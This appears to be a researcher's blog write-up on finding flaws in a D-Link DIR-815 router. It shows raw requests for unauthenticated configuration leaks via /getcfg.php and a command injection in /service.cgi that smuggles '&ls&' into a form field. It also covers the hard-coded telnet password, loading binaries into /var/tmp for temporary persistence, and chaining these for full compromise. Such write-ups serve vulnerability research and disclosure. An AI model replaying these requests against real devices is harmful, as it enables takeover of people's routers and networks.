UPDATE: After some feedback, it appears this vulnerability works on many D-Link models. Also, the latest firmware should patch these vulnerabilities. Updated repo to reflect the feedback.

Ol’ wise people will tend to say, “You get what you pay for”, and that tends to be the case in programming. I tend to find that shops that pay for cheap labor, get cheap product! That being said, I got bored over Christmas break and decided to throw away a lot of my old hardware. Before I did, however, I decided to fuzz a few of the devices. This is my 24 hr experience [more like 4 hour experience] with my D-Link 815N.

The goal of this is to not show you a super awesome 0 day that you can use to pwn the world, but instead to show a single method on how to find these 0 days.

“Disclaimer, I did not find a place to submit a bug bounty on D-Link’s site. However, I also only spent minutes looking.”

Step 1: Scanning up my device

The hardest step of this was finding the power cord to my router! After getting it powered up and connected to my dev range, the first thing I had to do was figure out the password. Good thing Dlink made it easy (username: admin, no password).

Next, I enabled “Remote Management” to emulate what I would see across the interwebs. Next, I just did a simple netcat to see what banner would come back to me on the remote management interface:

nc 10.0.0.1 8080

HEAD / HTTP/1.1 HTTP/1.1 400 Bad Request

Server: Linux, HTTP/1.1, DIR-815 Ver 1.03

Date: Sat, 27 Jan 2001 02:48:12 GMT

Shodan.io was nice enough to show me another ~700 devices that share the same string.

Step 2: Understanding how my device works

At this point, I want to understand how the authentication works and how pages load. In order to do this, I load developer tools on Chrome (Firefox supports this too) and start monitoring the “network” tab. On a successful login, I notice a POST to /session.cgi but the only thing that returns is some XML (nothing that holds a session).

nc 10.0.0.1 8080

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Host: localhost

Cookie: uid=DumMyTokEN

Content-Length: 68 ACTION=login_plaintext&PASSWD=&CAPTCHA=&USER=admin&REPORT_METHOD=xml HTTP/1.1 200 OK

Server: Linux, HTTP/1.1, DIR-815 Ver 1.03

Date: Sat, 27 Jan 2001 04:59:08 GMT

Transfer-Encoding: chunked

Content-Type: text/xml a1

<?xml version=”1.0″ encoding=”utf-8″?>

<report>

<RESULT>SUCCESS</RESULT>

<REASON></REASON>

<AUTHORIZED_GROUP>0</AUTHORIZED_GROUP>

<PELOTA></PELOTA>

</report>

0

At this point I started getting excited, as it appears that the developers are only relying on a cookie that I can create. If they are this lazy, maybe there are pages that I can query unauthenticated?

After browsing for a few minutes, I notice a PHP page that keeps getting referenced (/getcfg.php). I start capturing the POST requests to them via Chrome and developer tools and then I replay them with netcat (no Cookie).

My favorite happens to be DEVICE.ACCOUNT (which can be used later for a scan bot to check for default creds.

POST /getcfg.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Host: localhost

Content-Length: 23 SERVICES=DEVICE.ACCOUNT HTTP/1.1 200 OK

Server: Linux, HTTP/1.1, DIR-815 Ver 1.03

Date: Sat, 27 Jan 2001 05:07:42 GMT

Transfer-Encoding: chunked

Content-Type: text/xml 208

<?xml version=”1.0″ encoding=”utf-8″?>

<postxml>

<module>

<service>DEVICE.ACCOUNT</service>

<device>

<account>

<seqno></seqno>

<max>1</max>

<count>1</count>

<entry>

<name>admin</name>

<password></password>

<group>0</group>

<description></description>

</entry>

</account>

<session>

<captcha>0</captcha>

<dummy>dummy</dummy>

<timeout>600</timeout>

<maxsession>128</maxsession>

<maxauthorized>16</maxauthorized>

</session>

</device>

</module>

</postxml>

0

<password> will update to ==OoXxGgYy== if there is a password set. After spending 10 minutes here, I was able to perform unauthenticated scans to determine all interface information, devices connected to the router and the traffic they were using, DNS information, logging information, etc. Full list can be found on my github.

Step 3: Can I get a shell?

At this point, I have invested a few hours and managed to watch an episode of “Superstore”, but after showing this to my friend, he was highly underwhelmed. I believe his exact quote was, “Get a shell if it is so easy”!

That takes me to the next step, looking for developers who do not handle input validation. As I am going through the pages again looking for something executable, I stumble over a firewall configure page that utilizes /service.cgi. After looking at the POST, I decide to append an ampersand and ls and rerun the command (had to pass the cookie from the auth). The results:

root@kali:~# nc 10.0.0.1 8080

POST /service.cgi HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Host: localhost

Content-Length: 21

Cookie: uid=DuMMyTokEN EVENT=CHECKFW%26ls%26 HTTP/1.1 200 OK

Server: Linux, HTTP/1.1, DIR-815 Ver 1.03

Date: Sat, 27 Jan 2001 09:25:03 GMT

Transfer-Encoding: chunked

Content-Type: text/xml 64

<?xml version=”1.0″ encoding=”utf-8″?>

<report>

<result>OK</result>

<message></message>

</report> 4

cbwpsacts.php

wiz_wps.php

wiz_wlan.php

wiz_wan_fresetv6.php

wiz_wan.php

wifi_stat.php

… <You get the point>

0

#WINNING

Step 4: Putting it all together

We found RCE!!! … But we need to be authenticated, but don’t worry, there is a way to get unauthenticated access, but I will leave that for you to investigate.

Finally, I wanted to put it in a quick script that would give me the ability to interact with the device remotely without having to type a lot, so I wrote DLINK Shell RCE. You will notice that on a lot of these lightweight IoT devices, they will be running busybox. This is good in the sense that you will have a few commands that you are familiar with.

So, where can you go from here? Poke, prod, enable telnet and get a stable shell:

/bin/cat /etc/init0.d/S80telnetd.sh

#!/bin/sh

echo [$0]: $1 … > /dev/console

if [ “$1” = “start” ];

then if [ -f “/usr/sbin/login” ];

then image_sign=`cat /etc/config/image_sign`

telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &

else

telnetd &

fielse

killall telnetd

fi

Note: They were nice enough to hard code the password for telnet in /etc/config/image_sign. Knowing how these embedded devices work, I am pretty sure it is the same password for all D-Link 815N routers.

Step 5: Temporary Persistence

I know this doesn’t make too much sense, but I do not know a better way to state this concept. These devices do not reboot frequently. Also, when they boot up, they untar their firmware prior to running. This means that anything you put up there will be blown away when it reboots, but because it doesn’t reboot often, we don’t care!

I will not be posting code on how to do this, but if you are comfortable with Linux and echo than you should be able to find a way to use an external program like python to read in a binary file (netcat for instance) and output it in a format that will allow you to “echo -e ” the data to someplace like “/var/tmp”. Make sure you know your arch. https://github.com/darkerego/mips-binaries.

January 8, 2018 Update: Google has revealed D-Link 645 Routers expose cleartext password when you browse to /getcfg.php. https://vuldb.com/?id.7843

Daisy chain that with the /service.cgi and “All the bases are belong to you”!